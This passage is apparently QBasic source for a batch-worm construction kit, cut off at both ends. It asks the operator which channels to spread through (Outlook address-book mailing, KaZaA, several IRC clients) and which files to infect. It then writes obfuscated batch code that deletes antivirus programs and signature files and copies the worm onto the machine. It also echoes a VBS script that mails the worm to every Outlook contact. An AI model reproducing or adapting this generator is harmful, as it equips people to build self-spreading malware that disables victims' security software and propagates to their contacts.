PRINT " + + + + + + + + " PRINT " + + + + "; name$; " + + + + " PRINT " + + + + + + + + " PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT "" COLOR 7 COLOR 4 PRINT " Internet Spreading:" COLOR 7 Outlook = 0 INPUT " Shall the worm spread with MS-Outlook (Y/N): ", msol$ IF msol$ = "Y" THEN Outlook = 1 IF msol$ = "y" THEN Outlook = 1 IF Outlook = 1 THEN GOTO AuswahlOL GOTO AuswahlOLEnd AuswahlOL: INPUT " --$gt; Which subject: ", OLSubject$ INPUT " --$gt; Which body: ", OLBody$ INPUT " --$gt; Which attachment (pics.BAT): ", OLAttachment$ AuswahlOLEnd: kazza = 0 INPUT " Shall the worm spread with KAZAA (Y/N): ", KazzaI$ IF KazzaI$ = "Y" THEN kazza = 1 IF KazzaI$ = "y" THEN kazza = 1 IF kazza = 1 THEN GOTO Auswahlkazza GOTO AuswahlkazzaEnd Auswahlkazza: INPUT " --$gt; Which (music-)filename (sound.mp3.BAT): ", kazzaattachment$ AuswahlkazzaEnd: mIRC = 0 INPUT " Shall the worm spread with mIRC (Y/N): ", IRC$ IF IRC$ = "Y" THEN mIRC = 1 IF IRC$ = "y" THEN mIRC = 1 IF mIRC = 1 THEN GOTO AuswahlmIRC GOTO AuswahlmIRCEnd AuswahlmIRC: INPUT " --$gt; Which filename (funny.jpg.BAT): ", mIRCAttachment$ AuswahlmIRCEnd: pirchb = 0 INPUT " Shall the worm spread with pIRCh (Y/N): ", pircha$ IF pircha$ = "Y" THEN pirchb = 1 IF pircha$ = "y" THEN pirchb = 1 IF pirchb = 0 THEN GOTO AuswahlpIRChEnd AuswahlpIRCh: INPUT " --$gt; Which name of the file (lala.arv.BAT): ", pIRChAttachment$ AuswahlpIRChEnd: vircB = 0 INPUT " Shall the worm spread with Virc (Y/N): ", virca$ IF virca$ = "Y" THEN vircB = 1 IF virca$ = "y" THEN vircB = 1 IF vircB = 0 THEN GOTO AuswahlVircEnd AuswahlVirc: INPUT " --$gt; Which name of the file (love-me.bat): ", vircattachment$ AuswahlVircEnd: CLS COLOR 1 PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT " + + + + + + + + " PRINT " + + + + "; name$; " + + + + " PRINT " + + + + + + + + " PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT "" COLOR 4 PRINT " Spreading inside a PC:" COLOR 7 BatInfektionen: INPUT " Shall the worm infect all .BAT files (Y/N): ", BIF$ BatDateienInf = 0 IF BIF$ = "Y" THEN BatDateienInf = 1 IF BIF$ = "y" THEN BatDateienInf = 1 BatInfektionenEnd: INPUT " Shall the worm infect Windows-root (Y/N): ", WD$ windir = 0 IF WD$ = "Y" THEN windir = 1 IF WD$ = "y" THEN windir = 1 INPUT " Shall the worm copy onto the Desktop (Y/N): ", desk$ Desktop = 0 IF desk$ = "Y" THEN Desktop = 1 IF desk$ = "y" THEN Desktop = 1 INPUT " Shall the worm copy to a Disk (Y/N): ", Adisk$ Diskette = 0 IF Adisk$ = "Y" THEN Diskette = 1 IF Adisk$ = "y" THEN Diskette = 1 CLS COLOR 1 PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT " + + + + + + + + " PRINT " + + + + "; name$; " + + + + " PRINT " + + + + + + + + " PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT "" COLOR 4 PRINT " File dropping:" COLOR 7 RegFileI = 0 INPUT " Shall the worm drop to REG files (Y/N): ", RegFileInfection$ IF RegFileInfection$ = "Y" THEN RegFileI = 1 IF RegFileInfection$ = "y" THEN RegFileI = 1 VBSFileI = 0 INPUT " Shall the worm drop to VBS files (Y/N): ", VBSFileInfection$ IF VBSFileInfection$ = "Y" THEN VBSFileI = 1 IF VBSFileInfection$ = "y" THEN VBSFileI = 1 JSFileI = 0 INPUT " Shall the worm drop to JS files (Y/N): ", JSFileInfection$ IF JSFileInfection$ = "Y" THEN JSFileI = 1 IF JSFileInfection$ = "y" THEN JSFileI = 1 IF JSFileI = 0 THEN GOTO JsNoInf OPEN "JS.BWG" FOR OUTPUT AS #3 PRINT #3, "JS" CLOSE #3 GOTO JsEndFileInf JsNoInf: OPEN "JS.BWG" FOR OUTPUT AS #3 PRINT #3, "NS" CLOSE #3 JsEndFileInf: PifFileI = 0 INPUT " Shall the worm drop to PIF files (Y/N): ", PIFFileInfection$ IF PIFFileInfection$ = "Y" THEN PifFileI = 1 IF PIFFileInfection$ = "y" THEN PifFileI = 1 LnkFileI = 0 INPUT " Shall the worm drop to LNK files (Y/N): ", LnkFileInfection$ IF LnkFileInfection$ = "Y" THEN LnkFileI = 1 IF LnkFileInfection$ = "y" THEN LnkFileI = 1 CLS COLOR 1 PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT " + + + + + + + + " PRINT " + + + + "; name$; " + + + + " PRINT " + + + + + + + + " PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT "" COLOR 7 COLOR 4 PRINT " Anti AV Techniques:" COLOR 7 fakeline = 0 INPUT " Shall the worm-code include 1000 Fake Bytes (Y/N): ", fakelinesa$ IF fakelinesa$ = "Y" THEN fakeline = 1 IF fakelinesa$ = "y" THEN fakeline = 1 INPUT " Shall the Worm delete some AV programs (Y/N): ", Dav$ delAV = 0 IF Dav$ = "Y" THEN delAV = 1 IF Dav$ = "y" THEN delAV = 1 CLS COLOR 1 PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT " + + + + + + + + " PRINT " + + + + "; name$; " + + + + " PRINT " + + + + + + + + " PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT "" COLOR 4 PRINT " Others:" COLOR 7 poly = 0 REM INPUT " Shall the worm use polymorphism (Y/N): ", ll$ IF ll$ = "Y" THEN poly = 1 IF ll$ = "y" THEN poly = 1 IF poly = 1 THEN OPEN "poly.bwg" FOR OUTPUT AS #3 IF poly = 1 THEN PRINT #3, "P" IF poly = 1 THEN CLOSE #3 IF poly = 0 THEN OPEN "poly.bwg" FOR OUTPUT AS #3 IF poly = 0 THEN PRINT #3, "N" IF poly = 0 THEN CLOSE #3 INPUT " Shall the Worm write a message (Y/N): ", massag$ mesg = 0 IF massag$ = "Y" THEN mesg = 1 IF massag$ = "y" THEN mesg = 1 IF mesg = 1 THEN GOTO Wmsg GOTO WmsgEnd Wmsg: INPUT " --$gt; Which message: ", msg$ WmsgEnd: LogLauf = 0 INPUT " Shall the worm create a logic hard drive (Y/N): ", ll$ IF ll$ = "Y" THEN LogLauf = 1 IF ll$ = "y" THEN LogLauf = 1 UDF = 0 INPUT " Shall the worm copy itself to a undeletable folder (Y/N): ", UDFa$ IF UDFa$ = "Y" THEN UDF = 1 IF UDFa$ = "y" THEN UDF = 1 INPUT " Shall the worm include the EICAR-VIRUS-TEST-FILE (Y/N): ", eiTF$ EICAR = 0 IF eiTF$ = "Y" THEN EICAR = 1 IF eiTF$ = "y" THEN EICAR = 1 INPUT " press enter... ", a MakeWorm: CLS COLOR 1 PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT " + + + + + + + + " PRINT " + + + + "; name$; " + + + + " PRINT " + + + + + + + + " PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT "" COLOR 7 OPEN "worm.txt" FOR OUTPUT AS #1 AA$ = "" BB$ = "" CC$ = "" DD$ = "" EE$ = "" REM IF poly = 1 THEN AA$ = "%AAAA%" REM IF poly = 1 THEN BB$ = "%BBBB%" REM IF poly = 1 THEN CC$ = "%CCCC%" REM IF poly = 1 THEN DD$ = "%DDDD%" REM IF poly = 1 THEN EE$ = "%EEEE%" IF EICAR = 1 THEN GOTO EICARIN GOTO EICARINE EICARIN: PRINT #1, "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"; AA$ PRINT #1, "cls"; AA$ EICARINE: PRINT #1, "@echo off"; AA$ PRINT #1, "REM Name: "; virname$; AA$ PRINT #1, "REM Author: "; virautor$; AA$ PRINT #1, "REM generated with "; name$; AA$ PRINT #1, "ctty nul"; AA$ IF fakeline = 1 THEN GOTO FakeLineB GOTO FakeLineBEnde FakeLineB: FLD = 0 FLDA: FLC = 0 DO WHILE FLC <= 100 ran = INT(RND * 26) + 97 a$ = CHR$(ran) B$ = B$ + a$ FLC = FLC + 1 LOOP FLC = 0 B$ = B$ + AA$ PRINT #1, B$ B$ = "" FLD = FLD + 1 IF FLD <= 10 THEN GOTO FLDA FakeLineBEnde: IF delAV = 1 THEN GOTO AVD GOTO AVDEnd AVD: rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; AA$; "set A=p" IF rand = 1 THEN delavA$ = "%A%ro" IF rand = 2 THEN PRINT #1, ""; AA$; "set A=r" IF rand = 2 THEN delavA$ = "p%A%o" IF rand = 3 THEN PRINT #1, ""; AA$; "set A=o" IF rand = 3 THEN delavA$ = "pr%A%" rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; AA$; "set B=g" IF rand = 1 THEN delavB$ = "%B%ra" IF rand = 2 THEN PRINT #1, ""; AA$; "set B=r" IF rand = 2 THEN delavB$ = "g%B%a" IF rand = 3 THEN PRINT #1, ""; AA$; "set B=a" IF rand = 3 THEN delavB$ = "gr%B%" delAV$ = delavA$ + delavB$ PRINT #1, "del C:\"; delAV$; "~1\kasper~1\avp32.exe"; AA$ rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; AA$; "set A=p" IF rand = 1 THEN delavA$ = "%A%ro" IF rand = 2 THEN PRINT #1, ""; AA$; "set A=r" IF rand = 2 THEN delavA$ = "p%A%o" IF rand = 3 THEN PRINT #1, ""; AA$; "set A=o" IF rand = 3 THEN delavA$ = "pr%A%" rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; AA$; "set B=g" IF rand = 1 THEN delavB$ = "%B%ra" IF rand = 2 THEN PRINT #1, ""; AA$; "set B=r" IF rand = 2 THEN delavB$ = "g%B%a" IF rand = 3 THEN PRINT #1, ""; AA$; "set B=a" IF rand = 3 THEN delavB$ = "gr%B%" delAV$ = delavA$ + delavB$ PRINT #1, "del C:\"; delAV$; "~1\norton~1\*.exe"; AA$ rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; AA$; "set A=p" IF rand = 1 THEN delavA$ = "%A%ro" IF rand = 2 THEN PRINT #1, ""; AA$; "set A=r" IF rand = 2 THEN delavA$ = "p%A%o" IF rand = 3 THEN PRINT #1, ""; AA$; "set A=o" IF rand = 3 THEN delavA$ = "pr%A%" rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; AA$; "set B=g" IF rand = 1 THEN delavB$ = "%B%ra" IF rand = 2 THEN PRINT #1, ""; AA$; "set B=r" IF rand = 2 THEN delavB$ = "g%B%a" IF rand = 3 THEN PRINT #1, ""; AA$; "set B=a" IF rand = 3 THEN delavB$ = "gr%B%" delAV$ = delavA$ + delavB$ PRINT #1, "del C:\"; delAV$; "~1\trojan~1\tc.exe"; AA$ rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; AA$; "set A=p" IF rand = 1 THEN delavA$ = "%A%ro" IF rand = 2 THEN PRINT #1, ""; AA$; "set A=r" IF rand = 2 THEN delavA$ = "p%A%o" IF rand = 3 THEN PRINT #1, ""; AA$; "set A=o" IF rand = 3 THEN delavA$ = "pr%A%" rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; AA$; "set B=g" IF rand = 1 THEN delavB$ = "%B%ra" IF rand = 2 THEN PRINT #1, ""; AA$; "set B=r" IF rand = 2 THEN delavB$ = "g%B%a" IF rand = 3 THEN PRINT #1, ""; AA$; "set B=a" IF rand = 3 THEN delavB$ = "gr%B%" delAV$ = delavA$ + delavB$ + "~1" PRINT #1, "del C:\"; delAV$; "\norton~1\s32integ.dll"; AA$ rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; AA$; "set A=p" IF rand = 1 THEN delavA$ = "%A%ro" IF rand = 2 THEN PRINT #1, ""; AA$; "set A=r" IF rand = 2 THEN delavA$ = "p%A%o" IF rand = 3 THEN PRINT #1, ""; AA$; "set A=o" IF rand = 3 THEN delavA$ = "pr%A%" rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; AA$; "set B=g" IF rand = 1 THEN delavB$ = "%B%ra" IF rand = 2 THEN PRINT #1, ""; AA$; "set B=r" IF rand = 2 THEN delavB$ = "g%B%a" IF rand = 3 THEN PRINT #1, ""; AA$; "set B=a" IF rand = 3 THEN delavB$ = "gr%B%" delAV$ = delavA$ + delavB$ PRINT #1, "del C:\"; delAV$; "\f-prot95\fpwm32.dll"; AA$ rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; AA$; "set A=p" IF rand = 1 THEN delavA$ = "%A%ro" IF rand = 2 THEN PRINT #1, ""; AA$; "set A=r" IF rand = 2 THEN delavA$ = "p%A%o" IF rand = 3 THEN PRINT #1, ""; AA$; "set A=o" IF rand = 3 THEN delavA$ = "pr%A%" rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; AA$; "set B=g" IF rand = 1 THEN delavB$ = "%B%ra" IF rand = 2 THEN PRINT #1, ""; AA$; "set B=r" IF rand = 2 THEN delavB$ = "g%B%a" IF rand = 3 THEN PRINT #1, ""; AA$; "set B=a" IF rand = 3 THEN delavB$ = "gr%B%" delAV$ = delavA$ + delavB$ PRINT #1, "del C:\"; delAV$; "~1\mcafee\scan.dat" rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; AA$; "set A=p" IF rand = 1 THEN delavA$ = "%A%ro" IF rand = 2 THEN PRINT #1, ""; AA$; "set A=r" IF rand = 2 THEN delavA$ = "p%A%o" IF rand = 3 THEN PRINT #1, ""; AA$; "set A=o" IF rand = 3 THEN delavA$ = "pr%A%" rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; AA$; "set B=g" IF rand = 1 THEN delavB$ = "%B%ra" IF rand = 2 THEN PRINT #1, ""; AA$; "set B=r" IF rand = 2 THEN delavB$ = "g%B%a" IF rand = 3 THEN PRINT #1, ""; AA$; "set B=a" IF rand = 3 THEN delavB$ = "gr%B%" delAV$ = delavA$ + delavB$ PRINT #1, ""; AA$; "set avC=tbav" PRINT #1, "goto delavri"; AA$ PRINT #1, ""; AA$; "set avC=ocem" PRINT #1, ":delavri"; AA$ PRINT #1, "del C:\"; delAV$; "~1\%avC%\tbav.dat"; AA$ rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; AA$; "set A=p" IF rand = 1 THEN delavA$ = "%A%ro" IF rand = 2 THEN PRINT #1, ""; AA$; "set A=r" IF rand = 2 THEN delavA$ = "p%A%o" IF rand = 3 THEN PRINT #1, ""; AA$; "set A=o" IF rand = 3 THEN delavA$ = "pr%A%" rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; AA$; "set B=g" IF rand = 1 THEN delavB$ = "%B%ra" IF rand = 2 THEN PRINT #1, ""; AA$; "set B=r" IF rand = 2 THEN delavB$ = "g%B%a" IF rand = 3 THEN PRINT #1, ""; AA$; "set B=a" IF rand = 3 THEN delavB$ = "gr%B%" delAV$ = delavA$ + delavB$ PRINT #1, "del C:\"; delAV$; "~1\avpersonal\antivir.vdf" rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; AA$; "set A=t" IF rand = 1 THEN delavA$ = "%A%ba" IF rand = 2 THEN PRINT #1, ""; AA$; "set A=b" IF rand = 2 THEN delavA$ = "t%A%a" IF rand = 3 THEN PRINT #1, ""; AA$; "set A=a" IF rand = 3 THEN delavA$ = "tb%A%" rand = INT(RND * 2) + 1 IF rand = 1 THEN PRINT #1, ""; AA$; "set B=v" IF rand = 1 THEN delavB$ = "%B%w" IF rand = 2 THEN PRINT #1, ""; AA$; "set B=w" IF rand = 2 THEN delavB$ = "v%B%" delAV$ = delavA$ + delavB$ + "95" PRINT #1, "del C:\"; delAV$; "\tbscan.sig"; AA$ AVDEnd: PRINT #1, "set a=s"; AA$ PRINT #1, "set b=e"; AA$ PRINT #1, "set c=t"; AA$ PRINT #1, ""; AA$; "%a%%b%%c% MyS=%0" IF poly = 1 THEN AA$ = " %AAAA%" PRINT #1, "copy %MyS% "; MyS$; AA$ PRINT #1, ""; AA$; "%a%%b%%c% MyS="; MyS$ IF poly = 1 THEN CLOSE #1 IF poly = 1 THEN SHELL "poly.exe" IF poly = 1 THEN OPEN "worm.txt" FOR APPEND AS #1 PRINT #1, "copy my.bat "; MyS$; AA$ PRINT #1, "del my.bat "; AA$ CLOSE #1 SHELL "include.exe" OPEN "worm.txt" FOR APPEND AS #1 IF Outlook = 1 THEN GOTO ol GOTO OLend ol: ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) ran = INT(RND * 26) + 97 d$ = CHR$(ran) ran = INT(RND * 26) + 97 e$ = CHR$(ran) fina$ = a$ + B$ + c$ + d$ + e$ + ".vbs" PRINT #1, "copy "; MyS$; " C:\"; OLAttachment$; CC$ PRINT #1, "copy "; MyS$; " C:\"; fina$; CC$ vbswayp = INT(RND * 1) + 1 IF vbswayp = 1 THEN GOTO VBSwaya IF vbswayp = 2 THEN GOTO vbswayb VBSwaya: mp = INT(RND * 2) + 1 IF mp = 1 THEN PRINT #1, "echo Dim x $gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayF=dim" IF mp = 2 THEN PRINT #1, "echo %VBSwayF% x $gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayF=" mp = INT(RND * 2) + 1 IF mp = 1 THEN PRINT #1, "echo.on error resume next $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayA=resume" IF mp = 2 THEN PRINT #1, "echo.on error %VBSwayA% next $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayA=" mp = INT(RND * 2) + 1 IF mp = 1 THEN PRINT #1, "echo Set fso ="; CHR$(34); " Scripting.FileSystem.Object"; CHR$(34); " $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayG=FileSystem" IF mp = 2 THEN PRINT #1, "echo Set fso ="; CHR$(34); " Scripting.%VBSwayG%.Object"; CHR$(34); " $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayG=" mp = INT(RND * 1) + 1 rand = INT(RND * 3) + 1 ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) fsore$ = a$ + B$ PRINT #1, "set vbsosf="; fsore$; CC$ IF rand = 1 THEN PRINT #1, ""; CC$; "set vbsosf=f" IF rand = 1 THEN fso$ = "%vbsosf%so" IF rand = 2 THEN PRINT #1, ""; CC$; "set vbsosf=s" IF rand = 2 THEN fso$ = "f%vbsosf%o" IF rand = 3 THEN PRINT #1, ""; CC$; "set vbsosf=o" IF rand = 3 THEN fso$ = "fs%vbsosf%" IF mp = 1 THEN PRINT #1, "echo Set so=CreateObject("; fso$; ") $gt;$gt; C:\"; fina$; CC$ PRINT #1, ""; CC$; "set vbsosf=" mp = INT(RND * 2) + 1 IF mp = 1 THEN PRINT #1, "echo Set ol=CreateObject("; CHR$(34); "Outlook.Application"; CHR$(34); ") $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayI=Outlook" IF mp = 2 THEN PRINT #1, "echo Set ol=CreateObject("; CHR$(34); "%VBSwayI%.Application"; CHR$(34); ") $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayI=" mp = INT(RND * 2) + 1 IF mp = 1 THEN PRINT #1, "echo Set out= WScript.CreateObject("; CHR$(34); "Outlook.Application"; CHR$(34); ") $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayJ=WScript" IF mp = 2 THEN PRINT #1, "echo Set out=%VBSwayJ%.CreateObject("; CHR$(34); "Outlook.Application"; CHR$(34); ") $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayJ=" mp = INT(RND * 2) + 1 IF mp = 1 THEN PRINT #1, "echo Set mapi = out.GetNameSpace("; CHR$(34); "MAPI"; CHR$(34); ") $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayD=out" IF mp = 2 THEN PRINT #1, "echo Set mapi = %VBSwayD%.GetNameSpace("; CHR$(34); "MAPI"; CHR$(34); ") $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayD=" mp = INT(RND * 2) + 1 IF mp = 1 THEN PRINT #1, "echo Set a = mapi.AddressLists(1) $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayN=Lists" IF mp = 2 THEN PRINT #1, "echo Set a = mapi.Address%VBSwayN%(1) $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayN=" PRINT #1, "echo Set ae=a.AddressEntries $gt;$gt; C:\"; fina$; CC$ mp = INT(RND * 2) + 1 IF mp = 1 THEN PRINT #1, "echo For x=1 To ae.Count $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayB=Count" IF mp = 2 THEN PRINT #1, "echo For x=1 To ae.%VBSwayB% $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayB=" mp = INT(RND * 2) + 1 IF mp = 1 THEN PRINT #1, "echo Set Mail=ol.CreateItem(0) $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, "echo Set ci=ol.CreateItem(0) $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, "echo Set Mail=ci $gt;$gt; C:\"; fina$; CC$ mp = INT(RND * 2) + 1 IF mp = 1 THEN PRINT #1, "echo Mail.to=ol.GetNameSpace("; CHR$(34); "MAPI"; CHR$(34); ").AddressLists(1).AddressEntries(x) $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayC=Name" IF mp = 2 THEN PRINT #1, "echo Mail.to=ol.Get%VBSwayC%Space("; CHR$(34); "MAPI"; CHR$(34); ").AddressLists(1).AddressEntries(x) $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayC=" mp = INT(RND * 2) + 1 IF mp = 1 THEN PRINT #1, "echo Mail.Subject="; CHR$(34); OLSubject$; CHR$(34); " $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayK=Mail" IF mp = 2 THEN PRINT #1, "echo %VBSwayK%.Subject="; CHR$(34); OLSubject$; CHR$(34); " $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayK=" mp = INT(RND * 2) + 1 IF mp = 1 THEN PRINT #1, "echo Mail.Body="; CHR$(34); OLBody$; CHR$(34); " $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayL=Body" IF mp = 2 THEN PRINT #1, "echo Mail.%VBSwayL%="; CHR$(34); OLBody$; CHR$(34); " $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayL=" mp = INT(RND * 2) + 1 rand = INT(RND * 4) + 1 IF rand = 1 THEN PRINT #1, ""; CC$; "set sendB=M" IF rand = 1 THEN mail$ = "%sendB%ail" IF rand = 2 THEN PRINT #1, ""; CC$; "set sendB=a" IF rand = 2 THEN mail$ = "M%sendB%il" IF rand = 3 THEN PRINT #1, ""; CC$; "set sendB=i" IF rand = 3 THEN mail$ = "Ma%sendB%l" IF rand = 4 THEN PRINT #1, ""; CC$; "set sendB=l" IF rand = 4 THEN mail$ = "Mai%sendB%" rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; CC$; "set attA=A" IF rand = 1 THEN attA$ = "%attA%tt" IF rand = 2 THEN PRINT #1, ""; CC$; "set attA=t" IF rand = 2 THEN attA$ = "A%attA%t" IF rand = 3 THEN PRINT #1, ""; CC$; "set attA=t" IF rand = 3 THEN attA$ = "At%attA%" rand = INT(RND * 4) + 1 IF rand = 1 THEN PRINT #1, ""; CC$; "set attB=a" IF rand = 1 THEN attB$ = "%attB%chm" IF rand = 2 THEN PRINT #1, ""; CC$; "set attB=c" IF rand = 2 THEN attB$ = "a%attB%hm" IF rand = 3 THEN PRINT #1, ""; CC$; "set attB=h" IF rand = 3 THEN attB$ = "ac%attB%m" IF rand = 4 THEN PRINT #1, ""; CC$; "set attB=m" IF rand = 4 THEN attB$ = "ach%attB%" rand = INT(RND * 4) + 1 IF rand = 1 THEN PRINT #1, ""; CC$; "set attC=e" IF rand = 1 THEN attC$ = "%attC%nts" IF rand = 2 THEN PRINT #1, ""; CC$; "set attC=n" IF rand = 2 THEN attC$ = "e%attC%ts" IF rand = 3 THEN PRINT #1, ""; CC$; "set attC=t" IF rand = 3 THEN attC$ = "en%attC%s" IF rand = 4 THEN PRINT #1, ""; CC$; "set attC=s" IF rand = 4 THEN attC$ = "ent%attC%" attach$ = attA$ + attB$ + attC$ PRINT #1, "goto mailrib"; CC$ PRINT #1, ""; CC$; "set sendB=k" PRINT #1, ""; CC$; "set attA=b" PRINT #1, ""; CC$; "set attB=n" PRINT #1, ""; CC$; "set attC=a" PRINT #1, ":mailrib"; CC$ IF mp = 1 THEN PRINT #1, "echo "; mail$; "."; attach$; ".Add("; CHR$(34); "C:\"; OLAttachment$; CHR$(34); ") $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayM="; attach$ IF mp = 2 THEN PRINT #1, "echo Mail.%VBSwayM%.Add("; CHR$(34); "C:\"; OLAttachment$; CHR$(34); ") $gt;$gt; C:\"; fina$; CC$ IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayM=" mp = INT(RND * 2) + 1 ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) ran = INT(RND * 26) + 97 d$ = CHR$(ran) ran = INT(RND * 26) + 97 e$ = CHR$(ran) send$ = a$ + B$ + c$ + d$ + e$ rand = INT(RND * 4) + 1 IF rand = 1 THEN PRINT #1, ""; CC$; "set sendA=s" IF rand = 1 THEN snd$ = "%sendA%end" IF rand = 2 THEN PRINT #1, ""; CC$; "set sendA=e" IF rand = 2 THEN snd$ = "s%sendA%nd" IF rand = 3 THEN PRINT #1, ""; CC$; "set sendA=n" IF rand = 3 THEN snd$ = "se%sendA%d" IF rand = 4 THEN PRINT #1, ""; CC$; "set sendA=d" IF rand = 4 THEN snd$ = "sen%sendA%" rand = INT(RND * 4) + 1 IF rand = 1 THEN PRINT #1, ""; CC$; "set sendB=M" IF rand = 1 THEN mail$ = "%sendB%ail" IF rand = 2 THEN PRINT #1, ""; CC$; "set sendB=a" IF rand = 2 THEN mail$ = "M%sendB%il" IF rand = 3 THEN PRINT #1, ""; CC$; "set sendB=i" IF rand = 3 THEN mail$ = "Ma%sendB%l" IF rand = 4 THEN PRINT #1, ""; CC$; "set sendB=l" IF rand = 4 THEN mail$ = "Mai%sendB%" PRINT #1, "echo "; mail$; "."; snd$; " $gt;$gt; C:\"; fina$; CC$ rand = INT(RND * 2) + 1 IF rand = 1 THEN PRINT #1, ""; CC$; "set vsenda=N" IF rand = 1 THEN nexta$ = "%vsenda%e" IF rand = 2 THEN PRINT #1, ""; CC$; "set vsenda=e" IF rand = 2 THEN nexta$ = "N%vsenda%" rand = INT(RND * 2) + 1 IF rand = 1 THEN PRINT #1, ""; CC$; "set vsendb=x" IF rand = 1 THEN nextb$ = "%vsendb%t" IF rand = 2 THEN PRINT #1, ""; CC$; "set vsendb=t" IF rand = 2 THEN nextb$ = "x%vsendb%" vnext$ = nexta$ + nextb$ PRINT #1, "goto emailri"; CC$ ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) ran = INT(RND * 26) + 97 d$ = CHR$(ran) ran = INT(RND * 26) + 97 e$ = CHR$(ran) nexta$ = a$ + B$ + c$ + d$ nextb$ = a$ + B$ + c$ PRINT #1, ""; CC$; "set vsenda="; nexta$ PRINT #1, ""; CC$; "set vsendb="; nextb$ PRINT #1, ":emailri "; CC$; "" PRINT #1, "echo "; vnext$; " $gt;$gt; C:\"; fina$; CC$ PRINT #1, ""; CC$; "set vsenda=" PRINT #1, ""; CC$; "set vsendb=" PRINT #1, "echo ol.Quit $gt;$gt; C:\"; fina$; CC$ GOTO VBSwayEnd vbswayb: GOTO VBSwayEnd VBSwayEnd: ran = INT(RND * 26) + 97 a$ = CHR$(ran) ran = INT(RND * 26) + 97 B$ = CHR$(ran) ran = INT(RND * 26) + 97 c$ = CHR$(ran) ran = INT(RND * 26) + 97 d$ = CHR$(ran) ran = INT(RND * 26) + 97 e$ = CHR$(ran) cscript$ = a$ + B$ + c$ + d$ + e$ rand = INT(RND * 3) + 1 IF rand = 1 THEN PRINT #1, ""; CC$; "set cscA=scri" IF 